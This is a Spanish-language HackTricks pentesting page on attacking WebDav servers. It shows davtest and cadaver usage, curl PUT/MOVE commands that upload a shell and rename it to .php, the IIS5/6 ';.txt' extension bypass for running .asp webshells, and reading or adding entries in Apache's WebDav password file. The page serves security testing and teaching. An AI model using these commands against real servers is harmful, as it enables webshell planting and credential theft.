WebDav

Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtenga acceso hoy:

Aprenda hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Al tratar con un Servidor HTTP con WebDav habilitado, es posible manipular archivos si se tienen las credenciales correctas, generalmente verificadas a través de Autenticación Básica HTTP. Obtener control sobre dicho servidor a menudo implica la carga y ejecución de un webshell.

El acceso al servidor WebDav generalmente requiere credenciales válidas, siendo el bruteforce de WebDav un método común para adquirirlas.

Para superar las restricciones en las cargas de archivos, especialmente aquellas que impiden la ejecución de scripts en el servidor, podrías:

  • Cargar archivos con extensiones ejecutables directamente si no están restringidos.

  • Renombrar archivos cargados no ejecutables (como .txt) a una extensión ejecutable.

  • Copiar archivos cargados no ejecutables, cambiando su extensión a una que sea ejecutable.

DavTest

Davtest intenta cargar varios archivos con diferentes extensiones y verifica si la extensión es ejecutada:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Cadaver

Puedes usar esta herramienta para conectarte al servidor WebDav y realizar acciones (como subir, mover o eliminar) manualmente.

cadaver <IP>

Solicitud PUT

curl -T 'shell.txt' 'http://$ip'

Solicitud MOVE

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtenga acceso hoy:

Vulnerabilidad de WebDav en IIS5/6

Esta vulnerabilidad es muy interesante. El WebDav no permite subir o renombrar archivos con la extensión .asp. Pero puedes burlar esto agregando al final del nombre ";.txt" y el archivo se ejecutará como si fuera un archivo .asp (también puedes usar ".html" en lugar de ".txt" pero NO olvides el ";").

Luego puedes subir tu shell como un archivo ".txt" y copiar/moverlo a un archivo ".asp;.txt". Al acceder a ese archivo a través del servidor web, se ejecutará (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).

Credenciales posteriores

Si el Webdav estaba utilizando un servidor Apache, deberías revisar los sitios configurados en Apache. Comúnmente: /etc/apache2/sites-enabled/000-default

Dentro de él podrías encontrar algo como:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Como puedes ver, aquí están los archivos con las credenciales válidas para el servidor webdav:

/etc/apache2/users.password

Dentro de este tipo de archivos encontrarás el nombre de usuario y un hash de la contraseña. Estas son las credenciales que el servidor webdav está utilizando para autenticar a los usuarios.

Puedes intentar descifrarlas, o agregar más si por alguna razón deseas acceder al servidor webdav:

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Para verificar si las nuevas credenciales funcionan, puedes hacer lo siguiente:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Última actualización